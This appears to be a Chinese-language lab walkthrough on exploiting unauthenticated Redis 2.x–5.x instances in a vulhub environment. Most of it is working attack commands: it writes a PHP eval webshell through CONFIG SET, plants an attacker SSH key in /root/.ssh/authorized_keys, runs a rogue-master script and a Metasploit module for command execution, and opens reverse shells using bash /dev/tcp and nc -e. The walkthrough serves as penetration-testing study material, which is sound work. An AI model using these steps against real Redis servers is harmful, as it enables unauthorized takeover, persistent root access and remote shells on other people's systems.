[TOC]

漏洞详情

影响版本 Redis 2.x,3.x,4.x,5.x

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞的产生条件有以下两点:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

漏洞复现

kali靶机: 192.168.192.132

kali攻击机:192.168.192.135

靶机设置

进入vulhub靶场的redis/4-unacc目录,输入命令,然后等待加载完毕。

1
2
sudo su
docker-compose up -d

image-20250325085647378

小提示:如果不成功,可能是没有挂代理(懂吧?)

输入命令查看端口是6379

1
docker-compose ps

image-20250325085748429

我们用nmap扫一下靶机,也可以看到6379端口打开了。

1
nmap -sV 192.168.192.132 -p 1-65535

image-20250325090133919

浏览器访问看看,能打开就行

image-20250325090518098

攻击机设置

安装redis-cli远程连接工具

1
wget http://download.redis.io/redis-stable.tar.gz

然后解压,进入该目录进行编译,等待完成。

1
2
cd redis-stable
make

image-20250325091518998

出现如上界面就说明成功了

漏洞利用流程

写入webshell
  1. 目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等)
  2. 需要具有读写增删改查权

用redis-cli命令远程免密登录redis主机

1
2
3
4
# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

image-20250325091905278

这样就说明成功了,

redis操作命令

1
2
3
4
info  #查看redis的信息和服务器信息
flushall 删除所有数据
del key 删除键为key的数据
get key 获得参数key的数据
1
2
3
4
5
6
config set dir /var/www/html  #将shell移到网站默认根目录
config set dbfilename redis.php #创建shell文件
set webshell "<?php eval($_POST[1]); ?>" 写入一句话木马,然后蚁剑连接
或者
set x "\r\n\r\n<?php eval($_POST[1]); ?>\r\n\r\n"
save

由于靶机没有开启web服务,所以就不演示了。

使用py脚本执行远程命令
1
2
3
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK/exp
make

image-20250325094921511

1
2
3
cd ../../   #回到redis-rogue-getshell目录下
./redis-master.py -r 192.168.239.128 -p 6379 -L 192.168.239.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
(第一个ip是靶机,第二个ip是攻击机,-c后面跟执行的命令)
ssh公私钥免密登录
原理

登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。

为什么redis可以获取服务器的root权限呢?

上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要redis是root启动的情况下使用,因为非root权限无法进入/root目录)

步骤

在攻击机中生成ssh公钥和私钥文件,密码为空

1
ssh-keygen -t rsa

进入/home/kali/.ssh目录: 将生成的公钥保存到sshkey.txt:

1
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > sshkey.txt

image-20250325102503591

使用redis-cli -h ip命令连接靶机,把sshkey.txt写入redis中

1
cat sshkey.txt | redis-cli -h 192.168.192.132 -x set crack

image-20250325102811549

然后用redis-cli连接靶机,然后更改目标服务器Redis备份路径为ssh公钥存放目录(默认为/root/.ssh)

此处因为靶场中的redis没有root权限,就不演示了

1
config set dir /root/.ssh

设置上传公钥备份文件名为authorized_keys:

1
config set dbfilename authorized_keys

然后在攻击机上使用ssh免密码登录靶机,利用私钥就能成功登入redis服务器

1
ssh -i id_rsa root@ip
使用msf进行漏洞利用

使用searchsploit搜索redis相关漏洞

1
searchsploit redis

image-20250325104753221

可以看到相关漏洞都在metasploit里

启动metasploit(注意要在root下启动,不然攻击时会报错),然后检索redis相关exp

1
2
msfconsole
search redis type:exploit

image-20250325105152802

看到有一个cmd利用的漏洞,使用该模块

1
use exploit/linux/redis/redis_replication_cmd_exec

然后查看需要设置的参数

1
2
3
4
show options
set LHOST 192.168.192.135
set RHOST 192.168.192.132
set SRVHOST 192.168.192.135

image-20250325110217792

然后运行,出现如下情况就成功了

image-20250325111732432

反弹连接

这个方法主要适用于马被杀了,或者靶机在内网之中。

常见端口监听方法

1
2
3
4
5
6
7
8
9
10
11
netcat:nc -lvp 7777

msf:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.37.130
set lport 7777
run

socat:socat TCP-LISTEN:7777 - (kali系统)

常见建立连接方式

1
2
3
4
5
Linux bash:
bash -i >& /dev/tcp/攻击机ip/攻击机监听端口 0>&1

netcat:
nc -e /bin/bash 攻击机ip 攻击机监听端口

这里我就演示nc和bash的配合:

攻击机进行nc监听:

1
nc -lvp 7777

靶机使用bash:

1
bash -i >& /dev/tcp/192.168.192.135/7777 0>&1

image-20250325113528895

之后在监听机上就能看到

image-20250325113511333

然后就可以执行命令了

image-20250325113712853

可以看到是靶机的ip地址。

主动关闭连接直接在攻击机上exit。